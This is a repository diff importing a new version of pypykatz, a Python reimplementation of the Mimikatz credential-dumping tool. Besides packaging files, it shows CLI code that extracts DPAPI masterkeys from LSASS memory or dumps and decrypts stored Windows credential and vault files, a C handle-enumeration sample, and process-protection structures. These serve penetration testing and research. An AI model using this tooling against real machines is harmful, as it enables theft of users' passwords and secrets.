Codebase list pypykatz / upstream/0.3.15+git20210123.3ae000c
Import upstream version 0.3.15+git20210123.3ae000c Kali Janitor 3 years ago
71 changed file(s) with 5832 addition(s) and 920 deletion(s). Raw diff Collapse all Expand all
0 # Byte-compiled / optimized / DLL files
1 __pycache__/
2 *.py[cod]
3 *$py.class
4
5 # C extensions
6 *.so
7
8 # Distribution / packaging
9 .Python
10 build/
11 develop-eggs/
12 dist/
13 downloads/
14 eggs/
15 .eggs/
16 lib/
17 lib64/
18 parts/
19 sdist/
20 var/
21 wheels/
22 *.egg-info/
23 .installed.cfg
24 *.egg
25 MANIFEST
26
27 # PyInstaller
28 # Usually these files are written by a python script from a template
29 # before PyInstaller builds the exe, so as to inject date/other infos into it.
30 *.manifest
31 *.spec
32
33 # Installer logs
34 pip-log.txt
35 pip-delete-this-directory.txt
36
37 # Unit test / coverage reports
38 htmlcov/
39 .tox/
40 .coverage
41 .coverage.*
42 .cache
43 nosetests.xml
44 coverage.xml
45 *.cover
46 .hypothesis/
47 .pytest_cache/
48
49 # Translations
50 *.mo
51 *.pot
52
53 # Django stuff:
54 *.log
55 local_settings.py
56 db.sqlite3
57
58 # Flask stuff:
59 instance/
60 .webassets-cache
61
62 # Scrapy stuff:
63 .scrapy
64
65 # Sphinx documentation
66 docs/_build/
67
68 # PyBuilder
69 target/
70
71 # Jupyter Notebook
72 .ipynb_checkpoints
73
74 # pyenv
75 .python-version
76
77 # celery beat schedule file
78 celerybeat-schedule
79
80 # SageMath parsed files
81 *.sage.py
82
83 # Environments
84 .env
85 .venv
86 env/
87 venv/
88 ENV/
89 env.bak/
90 venv.bak/
91
92 # Spyder project settings
93 .spyderproject
94 .spyproject
95
96 # Rope project settings
97 .ropeproject
98
99 # mkdocs documentation
100 /site
101
102 # mypy
103 .mypy_cache/
104 *.reg
105 *.kirbi
0 MIT License
1
2 Copyright (c) 2018
3
4 Permission is hereby granted, free of charge, to any person obtaining a copy
5 of this software and associated documentation files (the "Software"), to deal
6 in the Software without restriction, including without limitation the rights
7 to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
8 copies of the Software, and to permit persons to whom the Software is
9 furnished to do so, subject to the following conditions:
10
11 The above copyright notice and this permission notice shall be included in all
12 copies or substantial portions of the Software.
13
14 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
15 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
16 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
17 AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
18 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
19 OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
20 SOFTWARE.
0 include LICENSE README.md
0 clean:
1 rm -f -r build/
2 rm -f -r dist/
3 rm -f -r *.egg-info
4 find . -name '*.pyc' -exec rm -f {} +
5 find . -name '*.pyo' -exec rm -f {} +
6 find . -name '*~' -exec rm -f {} +
7
8 publish: clean
9 python3 setup.py sdist bdist_wheel
10 python3 -m twine upload dist/*
11
12 rebuild: clean
13 python3 setup.py install
14
15 build:
16 python3 setup.py install
+0
-14
PKG-INFO less more
0 Metadata-Version: 1.2
1 Name: pypykatz
2 Version: 0.3.7
3 Summary: Python implementation of Mimikatz
4 Home-page: https://github.com/skelsec/pypykatz
5 Author: Tamas Jos
6 Author-email: [email protected]
7 License: UNKNOWN
8 Description: UNKNOWN
9 Platform: UNKNOWN
10 Classifier: Programming Language :: Python :: 3.6
11 Classifier: License :: OSI Approved :: MIT License
12 Classifier: Operating System :: OS Independent
13 Requires-Python: >=3.6
1717 ### Via Github
1818 Install prerequirements
1919 ```
20 pip3 install minidump minikerberos aiowinreg msldap winsspi
20 pip3 install minidump minikerberos aiowinreg msldap winacl
2121 ```
2222 Clone this repo
2323 ```
33 # Tamas Jos (@skelsec)
44 #
55
6 import io
76 import os
8 import re
9 import struct
107 import logging
11 import traceback
12 import json
13 import ntpath
14
15
16 from pypykatz.registry.offline_parser import OffineRegistry
17 from pypykatz.commons.common import UniversalEncoder, hexdump
188
199 def main():
2010 import argparse
2111 import glob
2212
2313 from pypykatz.utils.crypto.cmdhelper import CryptoCMDHelper
24 #from pypykatz.ldap.cmdhelper import LDAPCMDHelper
14 from pypykatz.ldap.cmdhelper import LDAPCMDHelper
2515 from pypykatz.kerberos.cmdhelper import KerberosCMDHelper
2616 from pypykatz.lsadecryptor.cmdhelper import LSACMDHelper
2717 from pypykatz.registry.cmdhelper import RegistryCMDHelper
2818 from pypykatz.remote.cmdhelper import RemoteCMDHelper
19 from pypykatz.dpapi.cmdhelper import DPAPICMDHelper
2920
30 cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper()] #LDAPCMDHelper(),
21 cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), DPAPICMDHelper(), LDAPCMDHelper()]
3122
23 try:
24 from pypykatz.smb.cmdhelper import SMBCMDHelper
25 cmdhelpers.append(SMBCMDHelper())
26 except:
27 pass
3228
3329 parser = argparse.ArgumentParser(description='Pure Python implementation of Mimikatz --and more--')
3430 parser.add_argument('-v', '--verbose', action='count', default=0)
5955 live_subparser_token_group.add_argument('-f','--force', action='store_true', help= 'Tries to list as many tokens as possible without SE_DEBUG privilege')
6056 live_subparser_users_group = live_subparsers.add_parser('users', help='User creating/manipulation commands')
6157 live_subparser_users_group.add_argument('cmd', choices=['list','whoami'])
62
63 live_subparser_dpapi_group = live_subparsers.add_parser('dpapi', help='DPAPI (live) related commands')
64 live_subparser_dpapi_group.add_argument('-r','--method_registry', action='store_true', help= 'Getting prekeys from LIVE registry')
65 live_subparser_dpapi_group.add_argument('--vpol', help= 'VPOL file')
66 live_subparser_dpapi_group.add_argument('--vcred', help= 'VCRED file')
67 live_subparser_dpapi_group.add_argument('--cred', help= 'credential file')
68 live_subparser_dpapi_group.add_argument('--mkf', help= 'masterkey file')
6958
70 dpapi_group = subparsers.add_parser('dpapi', help='DPAPI (offline) related commands')
71 dpapi_subparsers = dpapi_group.add_subparsers()
72 dpapi_subparsers.required = True
73 dpapi_subparsers.dest = 'dapi_module'
74
75 dpapi_prekey_group = dpapi_subparsers.add_parser('prekey', help='Obtains keys for masterkey decryption. Sources can be registry hives file or plaintext password and SID or NT hash and SID')
76 dpapi_prekey_group.add_argument('keysource', choices=['registry', 'password', 'nt'], help = 'Define what type of input you want to parse')
77 dpapi_prekey_group.add_argument('-o', '--out-file', help= 'Key candidates will be stored in this file. Easier to handle this way in the masterkeyfil command.')
78 dpapi_prekey_group.add_argument('--system', help= '[registry] Path to SYSTEM hive file')
79 dpapi_prekey_group.add_argument('--sam', help= '[registry] Path to SAM hive file')
80 dpapi_prekey_group.add_argument('--security', help= '[registry] Path to SECURITY hive file')
81 dpapi_prekey_group.add_argument('--sid', help= '[password and nt] Key used for decryption. The usage of this key depends on what other params you supply.')
82 dpapi_prekey_group.add_argument('--password', help= '[password] Plaintext passowrd of the user. Used together with SID')
83 dpapi_prekey_group.add_argument('--nt', help= '[nt] NT hash of the user password. Used together with SID. !!Succsess not guaranteed!!')
84
85 dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys from minidump file')
86 dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file')
87
88 dpapi_mastekey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file')
89 dpapi_mastekey_group.add_argument('mkf', help='path to masterkey file')
90 dpapi_mastekey_group.add_argument('--key', help= 'Key used for decryption, in hex format')
91 dpapi_mastekey_group.add_argument('--prekey', help= 'Path to prekey file, which has multiple decryption key candidates')
92 dpapi_mastekey_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.')
93
94
95 dpapi_credential_group = dpapi_subparsers.add_parser('credential', help='Decrypt credential file')
96 dpapi_credential_group.add_argument('cred', help='path to credential file')
97 dpapi_credential_group.add_argument('--masterkey', help= 'Masterkey used for decryption, in hex format')
98 dpapi_credential_group.add_argument('-m', '--mkb-file', help= 'Keyfile generated by the masterkey -o command.')
99
100 dpapi_vcred_group = dpapi_subparsers.add_parser('vcred', help='Decrypt vcred file')
101 dpapi_vcred_group.add_argument('vcred', help='path to vcred file')
102 dpapi_vcred_group.add_argument('--vpolkey', help= 'Key obtained by decrypting the corresponding VPOL file, in hex format. Remember to try both VPOL keys')
103
104 dpapi_vpol_group = dpapi_subparsers.add_parser('vpol', help='Decrypt vpol file')
105 dpapi_vpol_group.add_argument('vpol', help='path to vpol file')
106 dpapi_vpol_group.add_argument('--masterkey', help= 'Masterkey used for decryption, in hex format')
107 dpapi_vpol_group.add_argument('-m', '--mkb-file', help= 'Keyfile generated by the masterkey -o command.')
108
109 sake_group = subparsers.add_parser('sake', help='sake')
11059 version_group = subparsers.add_parser('version', help='version')
11160 banner_group = subparsers.add_parser('banner', help='banner')
61 logo_group = subparsers.add_parser('logo', help='logo')
11262
11363 ####### PARSING ARGUMENTS
11464
178128 lm = LiveMachine()
179129 user = lm.get_current_user()
180130 print(str(user))
181
182 elif args.module == 'dpapi':
183 from pypykatz.dpapi.dpapi import DPAPI
184
185 dpapi = DPAPI()
186 #####pre-key section
187 if args.method_registry == True:
188 dpapi.get_prekeys_form_registry_live()
189
190 if not args.mkf:
191 raise Exception('Live registry method requires masterkeyfile to be set!')
192
193 dpapi.decrypt_masterkey_file(args.mkf)
194
195 else:
196 dpapi.get_masterkeys_from_lsass_live()
197
198 #decryption stuff
199 if args.vcred:
200 if args.vpol is None:
201 raise Exception('for VCRED decryption you must suppliy VPOL file')
202 dpapi.decrypt_vpol_file(args.vpol)
203 res = dpapi.decrypt_vcrd_file(args.vcred)
204 for attr in res:
205 for i in range(len(res[attr])):
206 if res[attr][i] is not None:
207 print('AttributeID: %s Key %s' % (attr.id, i))
208 print(hexdump(res[attr][i]))
209
210 elif args.vpol:
211 key1, key2 = dpapi.decrypt_vpol_file(args.vpol)
212 print('VPOL key1: %s' % key1.hex())
213 print('VPOL key2: %s' % key2.hex())
214
215 elif args.cred:
216 cred_blob = dpapi.decrypt_credential_file(args.cred)
217 print(cred_blob.to_text())
218
219 else:
220 #just printing masterkeys
221 for guid in dpapi.masterkeys:
222 print('GUID: %s MASTERKEY: %s' % (guid, dpapi.masterkeys[guid].hex()))
223
224 if len(dpapi.masterkeys) == 0:
225 print('Failed to decrypt masterkey')
226
227
228 ###### DPAPI offline
229 elif args.command == 'dpapi':
230 from pypykatz.dpapi.dpapi import DPAPI
231
232 dpapi = DPAPI()
233
234 if args.dapi_module == 'prekey':
235 if args.keysource == 'registry':
236 if args.system is None:
237 raise Exception('SYSTEM hive must be specified for registry parsing!')
238 if args.sam is None and args.security is None:
239 raise Exception('Either SAM or SECURITY hive must be supplied for registry parsing! Best to have both.')
240
241 dpapi.get_prekeys_form_registry_files(args.system, args.security, args.sam)
242
243 elif args.keysource == 'password':
244 if args.sid is None:
245 raise Exception('SID must be specified for generating prekey in this mode')
246
247 pw = args.password
248 if args.password is None:
249 import getpass
250 pw = getpass.getpass()
251
252 dpapi.get_prekeys_from_password(args.sid, password = pw)
253
254 elif args.keysource == 'nt':
255 if args.nt is None or args.sid is None:
256 raise Exception('NT hash and SID must be specified for generating prekey in this mode')
257
258 dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt)
259
260
261 dpapi.dump_pre_keys(args.out_file)
262
263
264 elif args.dapi_module == 'minidump':
265 if args.minidumpfile is None:
266 raise Exception('minidump file must be specified for mindiump parsing!')
267
268 dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile)
269 dpapi.dump_masterkeys(args.out_file)
270
271
272 elif args.dapi_module == 'masterkey':
273 if args.key is None and args.prekey is None:
274 raise Exception('Etieher KEY or path to prekey file must be supplied!')
275
276 if args.prekey:
277 dpapi.load_pre_keys(args.prekey)
278 dpapi.decrypt_masterkey_file(args.mkf)
279
280 if args.key:
281 dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key))
282
283 if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0:
284 print('Failed to decrypt the masterkeyfile!')
285 return
286
287 dpapi.dump_masterkeys(args.out_file)
288
289 elif args.dapi_module == 'credential':
290 if args.masterkey is None and args.mkb_file is None:
291 raise Exception('Either masterkey or pre-generated MKB file must be specified')
292
293 if args.mkb_file is not None:
294 dpapi.load_masterkeys(args.mkb_file)
295 cred_blob = dpapi.decrypt_credential_file(args.cred)
296 else:
297 cred_blob = dpapi.decrypt_credential_file(args.cred, args.masterkey)
298
299 print(cred_blob.to_text())
300
301 elif args.dapi_module == 'vpol':
302 if args.masterkey is None and args.mkb_file is None:
303 raise Exception('Either masterkey or pre-generated MKB file must be specified')
304
305 if args.mkb_file is not None:
306 dpapi.load_masterkeys(args.mkb_file)
307 key1, key2 = dpapi.decrypt_vpol_file(args.vpol)
308 else:
309 key1, key2 = dpapi.decrypt_vpol_file(args.vpol, args.masterkey)
310
311
312 print('VPOL key1: %s' % key1.hex())
313 print('VPOL key2: %s' % key2.hex())
314
315
316 elif args.dapi_module == 'vcred':
317 if args.vpolkey is None:
318 raise Exception('VPOL key bust be specified!')
319
320 res = dpapi.decrypt_vpol_file(args.vcred, args.vpolkey)
321 for attr in res:
322 for i in range(len(res[attr])):
323 if res[attr][i] is not None:
324 print('AttributeID: %s Key %s' % (attr.id, i))
325 print(hexdump(res[attr][i]))
326
327 ###### Sake
328 elif args.command == 'sake':
329 from pypykatz.utils.sake.sake import Sake
330 s = Sake()
331 print(s.draw())
332131
333132 elif args.command == 'version':
334133 from pypykatz._version import __version__
337136 elif args.command == 'banner':
338137 from pypykatz._version import __banner__
339138 print(__banner__)
139
140 elif args.command == 'logo':
141 from pypykatz._version import __logo__, __logo_color__
142 print(__logo_color__)
143 print(__logo__)
340144
341145
342146
00
1 __version__ = "0.3.7"
1 __version__ = "0.4.0"
22 __banner__ = \
33 """
44 # pypyKatz %s
55 # Author: Tamas Jos @skelsec
66 # License: MIT
7 """ % __version__
7 """ % __version__
8
9 __logo__ = \
10 """
11 &.
12 @@@@@
13 ///////\\ @@@@@@@
14 ////////////. @@@@@@@@@@
15 ///(( /////\. @/@@@@@@@@@
16 //(( ///// @@@@@@@@@@@@@
17 //((( / " @@@@@@@@@
18 \(((( @@@@@@@@@@@@@
19 \\((((((.@@@@@@@@@@@@@@@@
20 ------ P Y P Y K A T Z ------
21 """
22
23 __logo_color__ = \
24 """
25 \x1b[38;5;240m &. \x1b[0m
26 \x1b[38;5;240m @@@@@ \x1b[0m
27 \x1b[38;5;118m ///////\\\\ \x1b[38;5;240m @@@@@@@ \x1b[0m
28 \x1b[38;5;118m ////////////. \x1b[38;5;240m @@@@@@@@@@ \x1b[0m
29 \x1b[38;5;118m///\x1b[38;5;106m(( \x1b[38;5;118m/////\x1b[38;5;240m\\\x1b[38;5;118m. \x1b[38;5;240m @\x1b[38;5;118m/\x1b[38;5;240m@@@@@@@@@ \x1b[0m
30 \x1b[38;5;118m//\x1b[38;5;106m((\x1b[38;5;118m ///// \x1b[38;5;240m@@@@@@@@@@@@@\x1b[0m
31 \x1b[38;5;118m//\x1b[38;5;106m((( \x1b[38;5;15m/ " \x1b[38;5;240m@@@@@@@@@\x1b[0m
32 \x1b[38;5;118m \\\x1b[38;5;106m(((( \x1b[38;5;240m@@@@@@@@@@@@@\x1b[0m
33 \x1b[38;5;118m \\\\\x1b[38;5;106m((((((\x1b[38;5;240m.@@@@@@@@@@@@@@@@ \x1b[0m
34 ------ \x1b[38;5;196mP Y P Y K A T Z\x1b[0m ------
35 """
22 # Author:
33 # Tamas Jos (@skelsec)
44 #
5 import traceback
56 import enum
67 import json
78 import datetime
89 from minidump.streams.SystemInfoStream import PROCESSOR_ARCHITECTURE
10
11 def geterr(err:Exception):
12 t = str(err) + '\r\n'
13 for line in traceback.format_tb(err.__traceback__):
14 t += line
15 return t
916
1017 class KatzSystemArchitecture(enum.Enum):
1118 X86 = enum.auto()
700700 _fields_ = [
701701 ("Length", USHORT),
702702 ("MaximumLength", USHORT),
703 ("Buffer", PVOID),
703 ("Buffer", PWSTR),
704704 ]
705705
706706 # From MSDN:
608608 ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST),
609609 ]
610610 LPSTARTUPINFOEXW = POINTER(STARTUPINFOEXW)
611
612
613 class SYSTEM_PROCESS_ID_INFORMATION(Structure):
614 _fields_ = (('ProcessId', HANDLE),
615 ('ImageName', UNICODE_STRING),
616 )
617
618 class SYSTEM_INFORMATION_CLASS(ctypes.c_ulong):
619 def __repr__(self):
620 return '%s(%s)' % (type(self).__name__, self.value)
621
622
623 ProcessBasicInformation = SYSTEM_INFORMATION_CLASS(0)
624 ProcessProtectionInformation = SYSTEM_INFORMATION_CLASS(61)
625 SystemExtendedHandleInformation = SYSTEM_INFORMATION_CLASS(64)
626 SystemProcessIdInformation = SYSTEM_INFORMATION_CLASS(88)
627
628 class PROCESS_BASIC_INFORMATION(Structure):
629 _fields_ = (('Reserved1', PVOID),
630 ('PebBaseAddress', PVOID),
631 ('Reserved2', PVOID * 2),
632 ('UniqueProcessId', ULONG_PTR),
633 ('Reserved3', PVOID))
634
635 class _PROCESS_EXTENDED_BASIC_INFORMATION_UNION1(Structure):
636 _fields_ = (('IsProtectedProcess', ULONG, 1),
637 ('IsWow64Process', ULONG, 1),
638 ('IsProcessDeleting', ULONG, 1),
639 ('IsCrossSessionCreate', ULONG, 1),
640 ('IsFrozen', ULONG, 1),
641 ('IsBackground', ULONG, 1),
642 ('IsStronglyNamed', ULONG, 1),
643 ('IsSecureProcess', ULONG, 1),
644 ('IsSubsystemProcess', ULONG, 1),
645 ('SpareBits', ULONG,23))
646
647 class _PROCESS_EXTENDED_BASIC_INFORMATION_UNION(Union):
648 _anonymous_ = ('obj',)
649 _fields_ = (('Flags', ULONG),
650 ('obj', _PROCESS_EXTENDED_BASIC_INFORMATION_UNION1))
651
652
653 class PROCESS_EXTENDED_BASIC_INFORMATION(Structure):
654 _anonymous_ = ('obj',)
655 _fields_ = (('Size', SIZE_T),
656 ('BasicInfo', PROCESS_BASIC_INFORMATION),
657 ('obj', _PROCESS_EXTENDED_BASIC_INFORMATION_UNION))
658
659
660 class UNION_PS_PROTECTION(Structure):
661 _fields_ = (('Type', UCHAR, 3),
662 ('Audit', BOOLEAN, 1),
663 ('Signer', UCHAR, 4),
664 )
665
666 class PS_PROTECTION(Union):
667 _anonymous_ = ('obj',)
668 _fields_ = (('Level', UCHAR),
669 ('obj', UNION_PS_PROTECTION),
670 )
0
1 // https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/
2 #ifndef UNICODE
3 #define UNICODE
4 #endif
5
6 #include <windows.h>
7 #include <stdio.h>
8
9 #define NT_SUCCESS(x) ((x) >= 0)
10 #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
11
12 #define SystemHandleInformation 16
13 #define ObjectBasicInformation 0
14 #define ObjectNameInformation 1
15 #define ObjectTypeInformation 2
16
17 typedef NTSTATUS (NTAPI *_NtQuerySystemInformation)(
18 ULONG SystemInformationClass,
19 PVOID SystemInformation,
20 ULONG SystemInformationLength,
21 PULONG ReturnLength
22 );
23 typedef NTSTATUS (NTAPI *_NtDuplicateObject)(
24 HANDLE SourceProcessHandle,
25 HANDLE SourceHandle,
26 HANDLE TargetProcessHandle,
27 PHANDLE TargetHandle,
28 ACCESS_MASK DesiredAccess,
29 ULONG Attributes,
30 ULONG Options
31 );
32 typedef NTSTATUS (NTAPI *_NtQueryObject)(
33 HANDLE ObjectHandle,
34 ULONG ObjectInformationClass,
35 PVOID ObjectInformation,
36 ULONG ObjectInformationLength,
37 PULONG ReturnLength
38 );
39
40 typedef struct _UNICODE_STRING {
41 USHORT Length;
42 USHORT MaximumLength;
43 PWSTR Buffer;
44 } UNICODE_STRING, *PUNICODE_STRING;
45
46 typedef struct _SYSTEM_HANDLE {
47 ULONG ProcessId;
48 BYTE ObjectTypeNumber;
49 BYTE Flags;
50 USHORT Handle;
51 PVOID Object;
52 ACCESS_MASK GrantedAccess;
53 } SYSTEM_HANDLE, *PSYSTEM_HANDLE;
54
55 typedef struct _SYSTEM_HANDLE_INFORMATION {
56 ULONG HandleCount;
57 SYSTEM_HANDLE Handles[1];
58 } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
59
60 typedef enum _POOL_TYPE {
61 NonPagedPool,
62 PagedPool,
63 NonPagedPoolMustSucceed,
64 DontUseThisType,
65 NonPagedPoolCacheAligned,
66 PagedPoolCacheAligned,
67 NonPagedPoolCacheAlignedMustS
68 } POOL_TYPE, *PPOOL_TYPE;
69
70 typedef struct _OBJECT_TYPE_INFORMATION {
71 UNICODE_STRING Name;
72 ULONG TotalNumberOfObjects;
73 ULONG TotalNumberOfHandles;
74 ULONG TotalPagedPoolUsage;
75 ULONG TotalNonPagedPoolUsage;
76 ULONG TotalNamePoolUsage;
77 ULONG TotalHandleTableUsage;
78 ULONG HighWaterNumberOfObjects;
79 ULONG HighWaterNumberOfHandles;
80 ULONG HighWaterPagedPoolUsage;
81 ULONG HighWaterNonPagedPoolUsage;
82 ULONG HighWaterNamePoolUsage;
83 ULONG HighWaterHandleTableUsage;
84 ULONG InvalidAttributes;
85 GENERIC_MAPPING GenericMapping;
86 ULONG ValidAccess;
87 BOOLEAN SecurityRequired;
88 BOOLEAN MaintainHandleCount;
89 USHORT MaintainTypeList;
90 POOL_TYPE PoolType;
91 ULONG PagedPoolUsage;
92 ULONG NonPagedPoolUsage;
93 } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
94
95 PVOID GetLibraryProcAddress(PSTR LibraryName, PSTR ProcName) {
96 return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);
97 }
98
99 void ErrorExit(LPTSTR lpszFunction) {
100 // Retrieve the system error message for the last-error code
101
102 LPVOID lpMsgBuf;
103 LPVOID lpDisplayBuf;
104 DWORD dw = GetLastError();
105
106 FormatMessage(
107 FORMAT_MESSAGE_ALLOCATE_BUFFER |
108 FORMAT_MESSAGE_FROM_SYSTEM |
109 FORMAT_MESSAGE_IGNORE_INSERTS,
110 NULL,
111 dw,
112 MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
113 (LPTSTR) &lpMsgBuf,
114 0, NULL );
115
116 printf((LPTSTR) lpMsgBuf);
117
118 LocalFree(lpMsgBuf);
119 LocalFree(lpDisplayBuf);
120 ExitProcess(dw);
121 }
122
123 void ShowErr() {
124 CHAR errormsg[100];
125 FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), 0, errormsg, sizeof(errormsg), NULL);
126 printf("ERROR: %s", errormsg);
127 }
128
129 int wmain(int argc, WCHAR *argv[]) {
130
131 _NtQuerySystemInformation NtQuerySystemInformation = GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation");
132 _NtDuplicateObject NtDuplicateObject = GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject");
133 _NtQueryObject NtQueryObject = GetLibraryProcAddress("ntdll.dll", "NtQueryObject");
134
135 NTSTATUS status;
136 PSYSTEM_HANDLE_INFORMATION handleInfo;
137 ULONG handleInfoSize = 0x10000;
138 ULONG pid;
139 HANDLE processHandle;
140 ULONG i;
141
142 if (argc < 2) {
143 printf("Usage: handles [pid]\n");
144 return 1;
145 }
146
147 pid = _wtoi(argv[1]);
148
149 if (!(processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid))) {
150 printf("Could not open PID %d! (Don't try to open a system process.)\n", pid);
151 return 1;
152 }
153
154 handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
155
156 // NtQuerySystemInformation won't give us the correct buffer size,
157 // so we guess by doubling the buffer size.
158 while ((status = NtQuerySystemInformation(
159 SystemHandleInformation,
160 handleInfo,
161 handleInfoSize,
162 NULL
163 )) == STATUS_INFO_LENGTH_MISMATCH)
164 handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
165
166 // NtQuerySystemInformation stopped giving us STATUS_INFO_LENGTH_MISMATCH.
167 if (!NT_SUCCESS(status)) {
168 printf("NtQuerySystemInformation failed!\n");
169 return 1;
170 }
171
172 for (i = 0; i < handleInfo->HandleCount; i++) {
173 SYSTEM_HANDLE handle = handleInfo->Handles[i];
174 HANDLE dupHandle = NULL;
175 POBJECT_TYPE_INFORMATION objectTypeInfo;
176 PVOID objectNameInfo;
177 UNICODE_STRING objectName;
178 ULONG returnLength;
179
180 // Check if this handle belongs to the PID the user specified.
181 if (handle.ProcessId != pid)
182 continue;
183
184 // Duplicate the handle so we can query it.
185 if (!NT_SUCCESS(NtDuplicateObject(
186 processHandle,
187 (void*) handle.Handle,
188 GetCurrentProcess(),
189 &dupHandle,
190 0,
191 0,
192 0
193 ))) {
194
195 printf("[%#x] Error!\n", handle.Handle);
196 continue;
197 }
198
199 // Query the object type.
200 objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
201 if (!NT_SUCCESS(NtQueryObject(
202 dupHandle,
203 ObjectTypeInformation,
204 objectTypeInfo,
205 0x1000,
206 NULL
207 ))) {
208
209 printf("[%#x] Error!\n", handle.Handle);
210 CloseHandle(dupHandle);
211 continue;
212 }
213
214 // Query the object name (unless it has an access of
215 // 0x0012019f, on which NtQueryObject could hang.
216 if (handle.GrantedAccess == 0x0012019f) {
217
218 // We have the type, so display that.
219 printf(
220 "[%#x] %.*S: (did not get name)\n",
221 handle.Handle,
222 objectTypeInfo->Name.Length / 2,
223 objectTypeInfo->Name.Buffer
224 );
225
226 free(objectTypeInfo);
227 CloseHandle(dupHandle);
228 continue;
229 }
230
231 objectNameInfo = malloc(0x1000);
232 if (!NT_SUCCESS(NtQueryObject(
233 dupHandle,
234 ObjectNameInformation,
235 objectNameInfo,
236 0x1000,
237 &returnLength
238 ))) {
239
240 // Reallocate the buffer and try again.
241 objectNameInfo = realloc(objectNameInfo, returnLength);
242 if (!NT_SUCCESS(NtQueryObject(
243 dupHandle,
244 ObjectNameInformation,
245 objectNameInfo,
246 returnLength,
247 NULL
248 ))) {
249
250 // We have the type name, so just display that.
251 printf(
252 "[%#x] %.*S: (could not get name)\n",
253 handle.Handle,
254 objectTypeInfo->Name.Length / 2,
255 objectTypeInfo->Name.Buffer
256 );
257
258 free(objectTypeInfo);
259 free(objectNameInfo);
260 CloseHandle(dupHandle);
261 continue;
262 }
263 }
264
265 // Cast our buffer into an UNICODE_STRING.
266 objectName = *(PUNICODE_STRING)objectNameInfo;
267
268 // Print the information!
269 if (objectName.Length)
270 {
271 // The object has a name.
272 printf(
273 "[%#x] %.*S: %.*S\n",
274 handle.Handle,
275 objectTypeInfo->Name.Length / 2,
276 objectTypeInfo->Name.Buffer,
277 objectName.Length / 2,
278 objectName.Buffer
279 );
280 }
281 else {
282 // Print something else.
283 printf(
284 "[%#x] %.*S: (unnamed)\n",
285 handle.Handle,
286 objectTypeInfo->Name.Length / 2,
287 objectTypeInfo->Name.Buffer
288 );
289 }
290
291 free(objectTypeInfo);
292 free(objectNameInfo);
293 CloseHandle(dupHandle);
294 }
295
296 free(handleInfo);
297 CloseHandle(processHandle);
298
299 return 0;
300 }
33 import enum
44 import logging
55
6 from .kernel32 import *
7 from .psapi import *
6 from pypykatz.commons.readers.local.common.kernel32 import *
7 from pypykatz.commons.readers.local.common.psapi import *
88
99 class WindowsMinBuild(enum.Enum):
1010 WIN_XP = 2500
4747 else:
4848 PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF
4949
50
51 def QueryDosDevice(drive_letter):
52 buffer_length = 1024
53 buf = ctypes.create_unicode_buffer(buffer_length)
54 status = windll.kernel32.QueryDosDeviceW(drive_letter, buf, buffer_length)
55 if status == 0:
56 raise ctypes.WinError()
57 return buf.value
58
59
60 def get_drives():
61 drives = []
62 bitmask = windll.kernel32.GetLogicalDrives()
63 for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
64 if bitmask & 1:
65 drives.append(letter + ':')
66 bitmask >>= 1
67 return drives
68
69 def get_device_prefixes():
70 device_prefixes = {}
71 drives = get_drives()
72 for drive in drives:
73 device_prefixes[QueryDosDevice(drive)] = drive
74 return device_prefixes
75
76 DEVICE_PREFIXES = get_device_prefixes()
77
78 WINDOWS_BUILD_NUMBER = getWindowsBuild()
5079 PROCESS_QUERY_INFORMATION = 0x0400
80 PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
5181 PROCESS_VM_READ = 0x0010
52
53
82 MAXIMUM_ALLOWED = 33554432
83 STATUS_INFO_LENGTH_MISMATCH = -1073741820
84 MAX_PATH_UNICODE = 1 << 15
85
86 # Get full normalized image path of a process using NtQuerySystemInformation
87 # It doesn't need any special privileges
88 def get_process_full_imagename(pid):
89 _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation
90 image_filename = ''
91 buf = ctypes.create_unicode_buffer(0x1000)
92 process_info = SYSTEM_PROCESS_ID_INFORMATION()
93 process_info.ProcessId = ctypes.c_void_p(pid)
94 process_info.ImageName.MaximumLength = len(buf)
95 process_info.ImageName.Buffer = addressof(buf)
96 status = _NtQuerySystemInformation(
97 SystemProcessIdInformation,
98 process_info,
99 sizeof(process_info),
100 None)
101 if status == STATUS_INFO_LENGTH_MISMATCH:
